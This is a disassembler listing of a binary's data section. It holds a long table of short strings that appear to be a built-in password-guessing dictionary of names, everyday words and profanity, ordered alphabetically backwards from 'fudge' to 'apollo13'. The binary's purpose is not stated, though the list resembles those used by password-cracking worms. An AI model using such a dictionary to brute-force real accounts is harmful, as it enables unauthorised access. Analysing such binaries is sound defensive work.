DATA XREF: ___:00430208o align 4 aFudge db 'fudge',0 ; DATA XREF: ___:00430204o align 4 aFuckyou db 'fuckyou',0 ; DATA XREF: ___:00430200o aFuckme db 'fuckme',0 ; DATA XREF: ___:004301FCo align 4 aFucking db 'fucking',0 ; DATA XREF: ___:004301F8o aFucker db 'fucker',0 ; DATA XREF: ___:004301F4o align 4 aFuck db 'fuck',0 ; DATA XREF: ___:004301F0o align 4 aFryguy db 'fryguy',0 ; DATA XREF: ___:004301ECo align 4 aFrog db 'frog',0 ; DATA XREF: ___:004301E8o align 4 aFrighten db 'frighten',0 ; DATA XREF: ___:004301E4o align 10h aFriends db 'friends',0 ; DATA XREF: ___:004301E0o aFriend db 'friend',0 ; DATA XREF: ___:004301DCo align 10h aFriday db 'friday',0 ; DATA XREF: ___:004301D8o align 4 aFrench db 'french',0 ; DATA XREF: ___:004301D4o align 10h aFreedom db 'freedom',0 ; DATA XREF: ___:004301D0o aFree db 'free',0 ; DATA XREF: ___:004301CCo align 10h aFred db 'fred',0 ; DATA XREF: ___:004301C8o align 4 aFreak db 'freak',0 ; DATA XREF: ___:004301C4o align 10h aFrank db 'frank',0 ; DATA XREF: ___:004301C0o align 4 aFrance db 'france',0 ; DATA XREF: ___:004301BCo align 10h aFoxtrot db 'foxtrot',0 ; DATA XREF: ___:004301B8o aFourier db 'fourier',0 ; DATA XREF: ___:004301B4o aForsythe db 'forsythe',0 ; DATA XREF: ___:004301B0o align 4 aFornicat db 'fornicat',0 ; DATA XREF: ___:004301ACo align 4 aFormat db 'format',0 ; DATA XREF: ___:004301A8o align 10h aForm db 'form',0 ; DATA XREF: ___:004301A4o align 4 aForever db 'forever',0 ; DATA XREF: ___:004301A0o aForesigh db 'foresigh',0 ; DATA XREF: ___:0043019Co align 4 aFord db 'ford',0 ; DATA XREF: ___:00430198o align 4 aForce db 'force',0 ; DATA XREF: ___:00430194o align 4 aFootball db 'football',0 ; DATA XREF: ___:00430190o align 4 aFoolproo db 'foolproo',0 ; DATA XREF: ___:0043018Co align 4 aFool db 'fool',0 ; DATA XREF: ___:00430188o align 4 aFood db 'food',0 ; DATA XREF: ___:00430184o align 4 aFlowers db 'flowers',0 ; DATA XREF: ___:00430180o aFlower db 'flower',0 ; DATA XREF: ___:0043017Co align 4 aFlorida db 'florida',0 ; DATA XREF: ___:00430178o aFloat db 'float',0 ; DATA XREF: ___:00430174o align 4 aFlakes db 'flakes',0 ; DATA XREF: ___:00430170o align 4 aFishers db 'fishers',0 ; DATA XREF: ___:0043016Co aFirewall db 'firewall',0 ; DATA XREF: ___:00430168o align 10h aFire db 'fire',0 ; DATA XREF: ___:00430164o align 4 aFinite db 'finite',0 ; DATA XREF: ___:00430160o align 10h aFile db 'file',0 ; DATA XREF: sub_40EE72+1E83o ; sub_40EE72+1EF9o ... align 4 aFight db 'fight',0 ; DATA XREF: ___:00430158o align 10h aField db 'field',0 ; DATA XREF: ___:00430154o align 4 aFidelity db 'fidelity',0 ; DATA XREF: ___:00430150o align 4 aFerrari db 'ferrari',0 ; DATA XREF: ___:0043014Co aFermat db 'fermat',0 ; DATA XREF: ___:00430148o align 4 aFender db 'fender',0 ; DATA XREF: ___:00430144o align 4 aFelicia db 'felicia',0 ; DATA XREF: ___:00430140o aFeds db 'feds',0 ; DATA XREF: ___:0043013Co align 4 aFear db 'fear',0 ; DATA XREF: ___:00430138o align 4 aFast db 'fast',0 ; DATA XREF: ___:00430134o align 4 aFart db 'fart',0 ; DATA XREF: ___:00430130o align 4 aFaraday db 'faraday',0 ; DATA XREF: ___:0043012Co aFarad db 'farad',0 ; DATA XREF: ___:00430128o align 4 aFamily db 'family',0 ; DATA XREF: ___:00430124o align 4 aFalse db 'false',0 ; DATA XREF: ___:00430120o align 4 aFalcon db 'falcon',0 ; DATA XREF: ___:0043011Co align 4 aFaith db 'faith',0 ; DATA XREF: ___:00430118o align 4 aFairway db 'fairway',0 ; DATA XREF: ___:00430114o aExtensio db 'extensio',0 ; DATA XREF: ___:00430110o align 4 aExplosiv db 'explosiv',0 ; DATA XREF: ___:0043010Co align 4 aExplorer db 'explorer',0 ; DATA XREF: ___:00430108o align 10h aExplore db 'explore',0 ; DATA XREF: ___:00430104o aExplode db 'explode',0 ; DATA XREF: ___:00430100o aExpert db 'expert',0 ; DATA XREF: ___:004300FCo align 4 aEvelyn db 'evelyn',0 ; DATA XREF: ___:004300F8o align 10h aEuclid db 'euclid',0 ; DATA XREF: ___:004300F4o align 4 aEternity db 'eternity',0 ; DATA XREF: ___:004300F0o align 4 aEstate db 'estate',0 ; DATA XREF: ___:004300ECo align 4 aEstablis db 'establis',0 ; DATA XREF: ___:004300E8o align 4 aErsatz db 'ersatz',0 ; DATA XREF: ___:004300E4o align 10h aErotic db 'erotic',0 ; DATA XREF: ___:004300E0o align 4 aErin db 'erin',0 ; DATA XREF: ___:004300DCo align 10h aErika db 'erika',0 ; DATA XREF: ___:004300D8o align 4 aErica db 'erica',0 ; DATA XREF: ___:004300D4o align 10h aEric db 'eric',0 ; DATA XREF: ___:004300D0o align 4 aErenity db 'erenity',0 ; DATA XREF: ___:004300CCo aEnzyme db 'enzyme',0 ; DATA XREF: ___:004300C8o align 4 aEnterpri db 'enterpri',0 ; DATA XREF: ___:004300C4o align 4 aEnter db 'enter',0 ; DATA XREF: ___:004300C0o align 4 aEnglish db 'english',0 ; DATA XREF: ___:004300BCo aEngland db 'england',0 ; DATA XREF: ___:004300B8o aEngineer db 'engineer',0 ; DATA XREF: ___:004300B4o align 4 aEngine db 'engine',0 ; DATA XREF: ___:004300B0o align 10h aEnemy db 'enemy',0 ; DATA XREF: ___:004300ACo align 4 aEmmanuel db 'emmanuel',0 ; DATA XREF: ___:004300A8o align 4 aEmily db 'emily',0 ; DATA XREF: ___:004300A4o align 4 aEmerald db 'emerald',0 ; DATA XREF: ___:004300A0o aEmail db 'email',0 ; DATA XREF: ___:0043009Co align 4 aEllen db 'ellen',0 ; DATA XREF: ___:00430098o align 4 aElizabet db 'elizabet',0 ; DATA XREF: ___:00430094o align 10h aElephant db 'elephant',0 ; DATA XREF: ___:00430090o align 4 aElectron db 'electron',0 ; DATA XREF: ___:0043008Co align 4 aElanor db 'elanor',0 ; DATA XREF: ___:00430088o align 10h aElaine db 'elaine',0 ; DATA XREF: ___:00430084o align 4 aEinstein db 'einstein',0 ; DATA XREF: ___:00430080o align 4 aEinsiein db 'einsiein',0 ; DATA XREF: ___:0043007Co align 10h aEileen db 'eileen',0 ; DATA XREF: ___:00430078o align 4 aEiderdow db 'eiderdow',0 ; DATA XREF: ___:00430074o align 4 aEgghead db 'egghead',0 ; DATA XREF: ___:00430070o aEdwina db 'edwina',0 ; DATA XREF: ___:0043006Co align 4 aEdwin db 'edwin',0 ; DATA XREF: ___:00430068o align 4 aEducatio db 'educatio',0 ; DATA XREF: ___:00430064o align 4 aEducation db 'education',0 ; DATA XREF: ___:00430060o align 4 aEdition db 'edition',0 ; DATA XREF: ___:off_43005Co aEdit db 'edit',0 ; DATA XREF: ___:00430058o align 4 aEdinburg db 'edinburg',0 ; DATA XREF: ___:00430054o align 10h aEdges db 'edges',0 ; DATA XREF: ___:off_430050o align 4 aEddie db 'eddie',0 ; DATA XREF: ___:0043004Co align 10h aEcho db 'echo',0 ; DATA XREF: ___:00430048o align 4 aEatme db 'eatme',0 ; DATA XREF: ___:00430044o align 10h aEasy db 'easy',0 ; DATA XREF: ___:00430040o align 4 aEasier db 'easier',0 ; DATA XREF: ___:0043003Co align 10h aEarth db 'earth',0 ; DATA XREF: ___:00430038o align 4 aEagle db 'eagle',0 ; DATA XREF: ___:00430034o align 10h aEager db 'eager',0 ; DATA XREF: ___:00430030o align 4 aDyke db 'dyke',0 ; DATA XREF: ___:0043002Co align 10h aDungeon db 'dungeon',0 ; DATA XREF: ___:00430028o aDuncan db 'duncan',0 ; DATA XREF: ___:00430024o align 10h aDulce db 'dulce',0 ; DATA XREF: ___:00430020o align 4 aDuke db 'duke',0 ; DATA XREF: ___:0043001Co align 10h aDuelist db 'duelist',0 ; DATA XREF: ___:00430018o aDude db 'dude',0 ; DATA XREF: ___:00430014o align 10h aDuck db 'duck',0 ; DATA XREF: ___:00430010o align 4 aDrought db 'drought',0 ; DATA XREF: ___:0043000Co aDrive db 'drive',0 ; DATA XREF: ___:00430008o align 4 aDrdoom db 'drdoom',0 ; DATA XREF: ___:00430004o align 10h aDragon db 'dragon',0 ; DATA XREF: ___:00430000o align 4 aDownload db 'download',0 ; DATA XREF: ___:0042FFFCo align 4 aDope db 'dope',0 ; DATA XREF: ___:0042FFF8o align 4 aDoors db 'doors',0 ; DATA XREF: ___:0042FFF4o align 4 aDoor db 'door',0 ; DATA XREF: ___:0042FFF0o align 4 aDoonesbu db 'doonesbu',0 ; DATA XREF: ___:0042FFECo align 4 aDoomsday db 'doomsday',0 ; DATA XREF: ___:0042FFE8o align 4 aDoomii db 'doomii',0 ; DATA XREF: ___:0042FFE4o align 4 aDoom2 db 'doom2',0 ; DATA XREF: ___:0042FFE0o align 4 aDoom db 'doom',0 ; DATA XREF: ___:0042FFDCo align 4 aDong db 'dong',0 ; DATA XREF: ___:0042FFD8o align 4 aDollar db 'dollar',0 ; DATA XREF: ___:0042FFD4o align 4 aDoctor db 'doctor',0 ; DATA XREF: ___:0042FFD0o align 4 aDisplay_0 db 'display',0 ; DATA XREF: ___:0042FFCCo aDisney db 'disney',0 ; DATA XREF: ___:0042FFC8o align 4 aDiskette db 'diskette',0 ; DATA XREF: ___:0042FFC4o align 10h aDisk_0 db 'disk',0 ; DATA XREF: ___:0042FFC0o align 4 aDiscover db 'discover',0 ; DATA XREF: ___:0042FFBCo align 4 aDisclose db 'disclose',0 ; DATA XREF: ___:0042FFB8o align 10h aDiscipli db 'discipli',0 ; DATA XREF: ___:0042FFB4o align 4 aDisc db 'disc',0 ; DATA XREF: ___:0042FFB0o align 4 aDirty db 'dirty',0 ; DATA XREF: ___:0042FFACo align 4 aDirector db 'director',0 ; DATA XREF: ___:0042FFA8o align 4 aDirect db 'direct',0 ; DATA XREF: ___:0042FFA4o align 10h aDipshit db 'dipshit',0 ; DATA XREF: ___:0042FFA0o aDinosaur db 'dinosaur',0 ; DATA XREF: ___:0042FF9Co align 4 aDigital db 'digital',0 ; DATA XREF: ___:0042FF98o aDieter db 'dieter',0 ; DATA XREF: ___:0042FF94o align 4 aDiet db 'diet',0 ; DATA XREF: ___:0042FF90o align 4 aDiehard db 'diehard',0 ; DATA XREF: ___:0042FF8Co aDick db 'dick',0 ; DATA XREF: ___:0042FF88o align 4 aDice db 'dice',0 ; DATA XREF: ___:0042FF84o align 4 aDiane db 'diane',0 ; DATA XREF: ___:0042FF80o align 4 aDiana db 'diana',0 ; DATA XREF: ___:0042FF7Co align 4 aDiamond db 'diamond',0 ; DATA XREF: ___:0042FF78o aDial db 'dial',0 ; DATA XREF: ___:0042FF74o align 4 aDevice db 'device',0 ; DATA XREF: ___:0042FF70o align 4 aDevelop db 'develop',0 ; DATA XREF: ___:0042FF6Co aDesperat db 'desperat',0 ; DATA XREF: ___:0042FF68o align 10h aDesktop db 'desktop',0 ; DATA XREF: ___:0042FF64o aDesk db 'desk',0 ; DATA XREF: ___:0042FF60o align 10h aDesiree db 'desiree',0 ; DATA XREF: ___:0042FF5Co aDennis db 'dennis',0 ; DATA XREF: ___:0042FF58o align 10h aDenise db 'denise',0 ; DATA XREF: ___:0042FF54o align 4 aDemocrat db 'democrat',0 ; DATA XREF: ___:0042FF50o align 4 aDeluge db 'deluge',0 ; DATA XREF: ___:0042FF4Co align 4 aDelta db 'delta',0 ; DATA XREF: ___:0042FF48o align 4 aDefoe db 'defoe',0 ; DATA XREF: ___:0042FF44o align 4 aDefault_0 db 'DEFAULT',0 ; DATA XREF: ___:0042FF40o aDeck db 'deck',0 ; DATA XREF: ___:0042FF38o align 4 aDecember db 'december',0 ; DATA XREF: ___:0042FF34o align 4 aDebug db 'debug',0 ; DATA XREF: ___:0042FF30o align 10h aDeborah db 'deborah',0 ; DATA XREF: ___:0042FF2Co aDebbie db 'debbie',0 ; DATA XREF: ___:0042FF28o align 10h aDeathsta db 'deathsta',0 ; DATA XREF: ___:0042FF24o align 4 aDead db 'dead',0 ; DATA XREF: ___:0042FF20o align 4 aDawn db 'dawn',0 ; DATA XREF: ___:0042FF1Co align 4 aDave db 'dave',0 ; DATA XREF: ___:0042FF18o align 4 aData db 'data',0 ; DATA XREF: ___:0042FF14o align 4 aDarkaven db 'darkaven',0 ; DATA XREF: ___:0042FF10o align 4 aDark db 'dark',0 ; DATA XREF: ___:0042FF0Co align 10h aDapper db 'dapper',0 ; DATA XREF: ___:0042FF08o align 4 aDanny db 'danny',0 ; DATA XREF: ___:0042FF04o align 10h aDanielle db 'danielle',0 ; DATA XREF: ___:0042FF00o align 4 aDaniel db 'daniel',0 ; DATA XREF: ___:0042FEFCo align 4 aDancer db 'dancer',0 ; DATA XREF: ___:0042FEF8o align 4 aDana db 'dana',0 ; DATA XREF: ___:0042FEF4o align 4 aDaisy db 'daisy',0 ; DATA XREF: ___:0042FEF0o align 4 aDaemon db 'daemon',0 ; DATA XREF: ___:0042FEECo align 4 aCynthia db 'cynthia',0 ; DATA XREF: ___:0042FEE8o aCyberspa db 'cyberspa',0 ; DATA XREF: ___:0042FEE4o align 4 aCyberpun db 'cyberpun',0 ; DATA XREF: ___:0042FEE0o align 4 aCyber db 'cyber',0 ; DATA XREF: ___:0042FEDCo align 4 aCustomer db 'customer',0 ; DATA XREF: ___:0042FED8o align 4 aCunt db 'cunt',0 ; DATA XREF: ___:0042FED4o align 10h aCshrc db 'cshrc',0 ; DATA XREF: ___:0042FED0o align 4 aCrystal db 'crystal',0 ; DATA XREF: ___:0042FECCo aCristina db 'cristina',0 ; DATA XREF: ___:0042FEC8o align 4 aCriminal db 'criminal',0 ; DATA XREF: ___:0042FEC4o align 4 aCrime db 'crime',0 ; DATA XREF: ___:0042FEC0o align 10h aCretin db 'cretin',0 ; DATA XREF: ___:0042FEBCo align 4 aCreosote db 'creosote',0 ; DATA XREF: ___:0042FEB8o align 4 aCredit db 'credit',0 ; DATA XREF: ___:0042FEB4o align 4 aCreature db 'creature',0 ; DATA XREF: ___:0042FEB0o align 4 aCreation db 'creation',0 ; DATA XREF: ___:0042FEACo align 4 aCreate db 'create',0 ; DATA XREF: ___:0042FEA8o align 4 aCream db 'cream',0 ; DATA XREF: ___:0042FEA4o align 4 aCrackpot db 'crackpot',0 ; DATA XREF: ___:0042FEA0o align 10h aCrack db 'crack',0 ; DATA XREF: ___:0042FE9Co align 4 aCowboy db 'cowboy',0 ; DATA XREF: ___:0042FE98o align 10h aCouscous db 'couscous',0 ; DATA XREF: ___:0042FE94o align 4 aCountry db 'country',0 ; DATA XREF: ___:0042FE90o aCounters db 'counters',0 ; DATA XREF: ___:0042FE8Co align 10h aCorrect db 'correct',0 ; DATA XREF: ___:0042FE88o aCorneliu db 'corneliu',0 ; DATA XREF: ___:0042FE84o align 4 aCopy db 'copy',0 ; DATA XREF: ___:0042FE80o align 4 aCops db 'cops',0 ; DATA XREF: ___:0042FE7Co align 4 aCopper db 'copper',0 ; DATA XREF: ___:0042FE78o align 4 aCooper db 'cooper',0 ; DATA XREF: ___:0042FE74o align 4 aCool_1 db 'cool',0 ; DATA XREF: ___:0042FE70o align 4 aCookie db 'cookie',0 ; DATA XREF: ___:0042FE6Co align 4 aCookbook db 'cookbook',0 ; DATA XREF: ___:0042FE68o align 10h aCook db 'cook',0 ; DATA XREF: ___:0042FE64o align 4 aContinue db 'continue',0 ; DATA XREF: sub_40EE72+20E5o ; ___:0042FE60o align 4 aConsole db 'console',0 ; DATA XREF: ___:0042FE5Co aConserva db 'conserva',0 ; DATA XREF: ___:0042FE58o align 4 aConnie db 'connie',0 ; DATA XREF: ___:0042FE54o align 10h aCondom db 'condom',0 ; DATA XREF: ___:0042FE4Co align 4 aCondo db 'condo',0 ; DATA XREF: ___:0042FE48o align 10h aComrades db 'comrades',0 ; DATA XREF: ___:0042FE44o align 4 aComrade db 'comrade',0 ; DATA XREF: ___:0042FE40o aComputin db 'computin',0 ; DATA XREF: ___:0042FE3Co align 10h aCompany db 'company',0 ; DATA XREF: ___:0042FE38o aCommrade db 'commrade',0 ; DATA XREF: ___:0042FE34o align 4 aCommit db 'commit',0 ; DATA XREF: ___:0042FE30o align 4 aComics db 'comics',0 ; DATA XREF: ___:0042FE2Co align 4 aCombat db 'combat',0 ; DATA XREF: ___:0042FE28o align 4 aColor db 'color',0 ; DATA XREF: ___:0042FE24o align 4 aCollins db 'collins',0 ; DATA XREF: ___:0042FE20o aCold db 'cold',0 ; DATA XREF: ___:0042FE1Co align 4 aCola db 'cola',0 ; DATA XREF: ___:0042FE18o align 4 aCoke db 'coke',0 ; DATA XREF: ___:0042FE14o align 4 aCoin db 'coin',0 ; DATA XREF: ___:0042FE10o align 4 aCoffee db 'coffee',0 ; DATA XREF: ___:0042FE0Co align 4 aCodeword db 'codeword',0 ; DATA XREF: ___:0042FE08o align 10h aCodename db 'codename',0 ; DATA XREF: ___:0042FE04o align 4 aCode db 'code',0 ; DATA XREF: ___:0042FE00o align 4 aCock db 'cock',0 ; DATA XREF: ___:0042FDFCo align 4 aCocainco db 'cocainco',0 ; DATA XREF: ___:0042FDF8o align 4 aCocacola db 'cocacola',0 ; DATA XREF: ___:0042FDF4o align 4 aCoast db 'coast',0 ; DATA XREF: ___:0042FDF0o align 4 aClusters db 'clusters',0 ; DATA XREF: ___:0042FDECo align 4 aCluster db 'cluster',0 ; DATA XREF: ___:0042FDE8o aClinton db 'clinton',0 ; DATA XREF: ___:0042FDE4o aCleavage db 'cleavage',0 ; DATA XREF: ___:0042FDE0o align 4 aClaymore db 'claymore',0 ; DATA XREF: ___:0042FDDCo align 10h aClaudia db 'claudia',0 ; DATA XREF: ___:0042FDD8o aClassic db 'classic',0 ; DATA XREF: ___:0042FDD4o aClasses db 'classes',0 ; DATA XREF: ___:0042FDD0o aClass db 'class',0 ; DATA XREF: ___:0042FDCCo align 10h aCindy db 'cindy',0 ; DATA XREF: ___:0042FDC8o align 4 aCigarett db 'cigarett',0 ; DATA XREF: ___:0042FDC4o align 4 aCigar db 'cigar',0 ; DATA XREF: ___:0042FDC0o align 4 aChristy db 'christy',0 ; DATA XREF: ___:0042FDBCo aChristin db 'christin',0 ; DATA XREF: ___:0042FDB8o align 10h aChris db 'chris',0 ; DATA XREF: ___:0042FDB4o align 4 aChip db 'chip',0 ; DATA XREF: ___:0042FDB0o align 10h aChester db 'chester',0 ; DATA XREF: ___:0042FDACo aChess db 'chess',0 ; DATA XREF: ___:0042FDA8o align 10h aChemistr db 'chemistr',0 ; DATA XREF: ___:0042FDA4o align 4 aChem db 'chem',0 ; DATA XREF: ___:0042FDA0o align 4 aChat_0 db 'chat',0 ; DATA XREF: ___:0042FD9Co align 4 aCharon db 'charon',0 ; DATA XREF: ___:0042FD98o align 4 aCharming db 'charming',0 ; DATA XREF: ___:0042FD94o align 10h aCharlie db 'charlie',0 ; DATA XREF: ___:0042FD90o aCharles db 'charles',0 ; DATA XREF: ___:0042FD8Co aCharity db 'charity',0 ; DATA XREF: ___:0042FD88o aChange db 'change',0 ; DATA XREF: ___:0042FD84o align 10h aCerulean db 'cerulean',0 ; DATA XREF: ___:0042FD80o align 4 aCeltics db 'celtics',0 ; DATA XREF: ___:0042FD7Co aCeltic db 'celtic',0 ; DATA XREF: ___:0042FD78o align 4 aCelt db 'celt',0 ; DATA XREF: ___:0042FD74o align 4 aCecily db 'cecily',0 ; DATA XREF: ___:0042FD70o align 4 aCayuga db 'cayuga',0 ; DATA XREF: ___:0042FD6Co align 4 aCave db 'cave',0 ; DATA XREF: ___:0042FD68o align 4 aCathy db 'cathy',0 ; DATA XREF: ___:0042FD64o align 4 aCatholic db 'catholic',0 ; DATA XREF: ___:0042FD60o align 10h aCatherin db 'catherin',0 ; DATA XREF: ___:0042FD5Co align 4 aCastle db 'castle',0 ; DATA XREF: ___:0042FD58o align 4 aCash db 'cash',0 ; DATA XREF: ___:0042FD54o align 4 aCascades db 'cascades',0 ; DATA XREF: ___:0042FD50o align 4 aCarson db 'carson',0 ; DATA XREF: ___:0042FD4Co align 10h aCarrie db 'carrie',0 ; DATA XREF: ___:0042FD48o align 4 aCaroline db 'caroline',0 ; DATA XREF: ___:0042FD44o align 4 aCarolina db 'carolina',0 ; DATA XREF: ___:0042FD40o align 10h aCarole db 'carole',0 ; DATA XREF: ___:0042FD3Co align 4 aCarol db 'carol',0 ; DATA XREF: ___:0042FD38o align 10h aCarmen db 'carmen',0 ; DATA XREF: ___:0042FD34o align 4 aCarla db 'carla',0 ; DATA XREF: ___:0042FD30o align 10h aCaren db 'caren',0 ; DATA XREF: ___:0042FD2Co align 4 aCardinal db 'cardinal',0 ; DATA XREF: ___:0042FD28o align 4 aCard db 'card',0 ; DATA XREF: ___:0042FD24o align 4 aCapture db 'capture',0 ; DATA XREF: ___:0042FD20o aCaptain db 'captain',0 ; DATA XREF: ___:0042FD1Co aCantor db 'cantor',0 ; DATA XREF: ___:0042FD18o align 4 aCandy db 'candy',0 ; DATA XREF: ___:0042FD14o align 4 aCandi db 'candi',0 ; DATA XREF: ___:0042FD10o align 4 aCamping db 'camping',0 ; DATA XREF: ___:0042FD0Co aCampanil db 'campanil',0 ; DATA XREF: ___:0042FD08o align 4 aCamille db 'camille',0 ; DATA XREF: ___:0042FD04o aCaliforn db 'californ',0 ; DATA XREF: ___:0042FD00o align 4 aButthead db 'butthead',0 ; DATA XREF: ___:0042FCFCo align 4 aButt db 'butt',0 ; DATA XREF: ___:0042FCF8o align 10h aButch db 'butch',0 ; DATA XREF: ___:0042FCF4o align 4 aBurn db 'burn',0 ; DATA XREF: ___:0042FCF0o align 10h aBurgess db 'burgess',0 ; DATA XREF: ___:0042FCECo aBung db 'bung',0 ; DATA XREF: ___:0042FCE8o align 10h aBumbling db 'bumbling',0 ; DATA XREF: ___:0042FCE4o align 4 aBullshit db 'bullshit',0 ; DATA XREF: ___:0042FCE0o align 4 aBulls db 'bulls',0 ; DATA XREF: ___:0042FCDCo align 10h aBrutefor db 'brutefor',0 ; DATA XREF: ___:0042FCD8o align 4 aBrute db 'brute',0 ; DATA XREF: ___:0042FCD4o align 4 aBrunette db 'brunette',0 ; DATA XREF: ___:0042FCD0o align 10h aBrothel db 'brothel',0 ; DATA XREF: ___:0042FCCCo aBroadway db 'broadway',0 ; DATA XREF: ___:0042FCC8o align 4 aBridget db 'bridget',0 ; DATA XREF: ___:0042FCC4o aBrian db 'brian',0 ; DATA XREF: ___:0042FCC0o align 4 aBrenda db 'brenda',0 ; DATA XREF: ___:0042FCBCo align 4 aBreast db 'breast',0 ; DATA XREF: ___:0042FCB8o align 4 aBreak db 'break',0 ; DATA XREF: ___:0042FCB4o align 4 aBravo db 'bravo',0 ; DATA XREF: ___:0042FCB0o align 4 aBrandy db 'brandy',0 ; DATA XREF: ___:0042FCACo align 4 aBrandi db 'brandi',0 ; DATA XREF: ___:0042FCA8o align 4 aBradley db 'bradley',0 ; DATA XREF: ___:0042FCA4o aBoyscout db 'boyscout',0 ; DATA XREF: ___:0042FCA0o align 4 aBorn db 'born',0 ; DATA XREF: ___:0042FC9Co align 10h aBook db 'book',0 ; DATA XREF: ___:0042FC98o align 4 aBoobs db 'boobs',0 ; DATA XREF: ___:0042FC94o align 10h aBoob db 'boob',0 ; DATA XREF: ___:0042FC90o align 4 aBoner db 'boner',0 ; DATA XREF: ___:0042FC8Co align 10h aBomb db 'bomb',0 ; DATA XREF: ___:0042FC88o align 4 aBoard db 'board',0 ; DATA XREF: ___:0042FC84o align 10h aBlues db 'blues',0 ; DATA XREF: ___:0042FC80o align 4 aBlue db 'blue',0 ; DATA XREF: ___:0042FC7Co align 10h aBlowjob db 'blowjob',0 ; DATA XREF: ___:0042FC78o aBlow db 'blow',0 ; DATA XREF: ___:0042FC74o align 10h aBloodaxe db 'bloodaxe',0 ; DATA XREF: ___:0042FC70o align 4 aBlood db 'blood',0 ; DATA XREF: ___:0042FC6Co align 4 aBlondie db 'blondie',0 ; DATA XREF: ___:0042FC68o aBlonde db 'blonde',0 ; DATA XREF: ___:0042FC64o align 4 aBlack db 'black',0 ; DATA XREF: ___:0042FC60o align 4 aBitnet db 'bitnet',0 ; DATA XREF: ___:0042FC5Co align 4 aBitmap db 'bitmap',0 ; DATA XREF: ___:0042FC58o align 4 aBitch db 'bitch',0 ; DATA XREF: ___:0042FC54o align 4 aBishop db 'bishop',0 ; DATA XREF: ___:0042FC50o align 4 aBird db 'bird',0 ; DATA XREF: ___:0042FC4Co align 4 aBios db 'bios',0 ; DATA XREF: ___:0042FC48o align 4 aBinary db 'binary',0 ; DATA XREF: ___:0042FC44o align 4 aBill db 'bill',0 ; DATA XREF: ___:0042FC40o align 4 aBigfoot db 'bigfoot',0 ; DATA XREF: ___:0042FC3Co aBicamera db 'bicamera',0 ; DATA XREF: ___:0042FC38o align 10h aBible db 'bible',0 ; DATA XREF: ___:0042FC34o align 4 aBeverly db 'beverly',0 ; DATA XREF: ___:0042FC30o aBetty db 'betty',0 ; DATA XREF: ___:0042FC2Co align 4 aBetsie db 'betsie',0 ; DATA XREF: ___:0042FC28o align 10h aBeth db 'beth',0 ; DATA XREF: ___:0042FC24o align 4 aBeta db 'beta',0 ; DATA XREF: ___:0042FC20o align 10h aBeryl db 'beryl',0 ; DATA XREF: ___:0042FC1Co align 4 aBerliner db 'berliner',0 ; DATA XREF: ___:0042FC18o align 4 aBerlin db 'berlin',0 ; DATA XREF: ___:0042FC14o align 4 aBerkeley db 'berkeley',0 ; DATA XREF: ___:0042FC10o align 4 aBeowulf db 'beowulf',0 ; DATA XREF: ___:0042FC0Co aBenz db 'benz',0 ; DATA XREF: ___:0042FC08o align 4 aBeloved db 'beloved',0 ; DATA XREF: ___:0042FC04o aBell db 'bell',0 ; DATA XREF: ___:0042FC00o align 4 aBehead db 'behead',0 ; DATA XREF: ___:0042FBFCo align 10h aBegin db 'begin',0 ; DATA XREF: ___:0042FBF8o align 4 aBeethove db 'beethove',0 ; DATA XREF: ___:0042FBF4o align 4 aBecky db 'becky',0 ; DATA XREF: ___:0042FBF0o align 4 aBeaver db 'beaver',0 ; DATA XREF: ___:0042FBECo align 4 aBeauty db 'beauty',0 ; DATA XREF: ___:0042FBE8o align 4 aBeater db 'beater',0 ; DATA XREF: ___:0042FBE4o align 4 aBeast db 'beast',0 ; DATA XREF: ___:0042FBE0o align 4 aBear db 'bear',0 ; DATA XREF: ___:0042FBDCo align 4 aBeammeup db 'beammeup',0 ; DATA XREF: ___:0042FBD8o align 10h aBeach db 'beach',0 ; DATA XREF: ___:0042FBD4o align 4 aBatman db 'batman',0 ; DATA XREF: ___:0042FBD0o align 10h aBatch db 'batch',0 ; DATA XREF: ___:0042FBCCo align 4 aBassoon db 'bassoon',0 ; DATA XREF: ___:0042FBC8o aBass db 'bass',0 ; DATA XREF: ___:0042FBC4o align 4 aBasic db 'basic',0 ; DATA XREF: ___:0042FBC0o align 10h aBaseball db 'baseball',0 ; DATA XREF: ___:0042FBBCo align 4 aBartman db 'bartman',0 ; DATA XREF: ___:0042FBB8o aBart db 'bart',0 ; DATA XREF: ___:0042FBB4o align 4 aBaritone db 'baritone',0 ; DATA XREF: ___:0042FBB0o align 4 aBarf db 'barf',0 ; DATA XREF: ___:0042FBACo align 10h aBare db 'bare',0 ; DATA XREF: ___:0042FBA8o align 4 aBarber db 'barber',0 ; DATA XREF: ___:0042FBA4o align 10h aBarbara db 'barbara',0 ; DATA XREF: ___:0042FBA0o aBanks db 'banks',0 ; DATA XREF: ___:0042FB9Co align 10h aBank db 'bank',0 ; DATA XREF: ___:0042FB98o align 4 aBandit db 'bandit',0 ; DATA XREF: ___:0042FB94o align 10h aBananas db 'bananas',0 ; DATA XREF: ___:0042FB90o aBanana db 'banana',0 ; DATA XREF: ___:0042FB8Co align 10h aBall db 'ball',0 ; DATA XREF: ___:0042FB88o align 4 aBailey db 'bailey',0 ; DATA XREF: ___:0042FB84o align 10h aBadass db 'badass',0 ; DATA XREF: ___:0042FB80o align 4 aBackdoor db 'backdoor',0 ; DATA XREF: ___:0042FB7Co align 4 aBacchus db 'bacchus',0 ; DATA XREF: ___:0042FB78o aBaby db 'baby',0 ; DATA XREF: ___:0042FB74o align 4 aBabe db 'babe',0 ; DATA XREF: ___:0042FB70o align 4 aAzure db 'azure',0 ; DATA XREF: ___:0042FB6Co align 4 aAztecs db 'aztecs',0 ; DATA XREF: ___:0042FB68o align 4 aAuthoriz db 'authoriz',0 ; DATA XREF: ___:0042FB64o align 4 aAttack db 'attack',0 ; DATA XREF: ___:0042FB60o align 10h aAtom db 'atom',0 ; DATA XREF: ___:0042FB5Co align 4 aAtmosphe db 'atmosphe',0 ; DATA XREF: ___:0042FB58o align 4 aAthena db 'athena',0 ; DATA XREF: ___:0042FB54o align 4 aAsshole db 'asshole',0 ; DATA XREF: ___:0042FB50o aAsian db 'asian',0 ; DATA XREF: ___:0042FB4Co align 4 aArtist db 'artist',0 ; DATA XREF: ___:0042FB48o align 4 aArthur db 'arthur',0 ; DATA XREF: ___:0042FB44o align 4 aArrow db 'arrow',0 ; DATA XREF: ___:0042FB40o align 4 aArmy db 'army',0 ; DATA XREF: ___:0042FB3Co align 4 aArlene db 'arlene',0 ; DATA XREF: ___:0042FB38o align 4 aAriadne db 'ariadne',0 ; DATA XREF: ___:0042FB34o aAria db 'aria',0 ; DATA XREF: ___:0042FB30o align 4 aApril db 'april',0 ; DATA XREF: ___:0042FB2Co align 4 aApollo13 db 'apollo13',0 ; DATA XREF: ___:0042FB28o 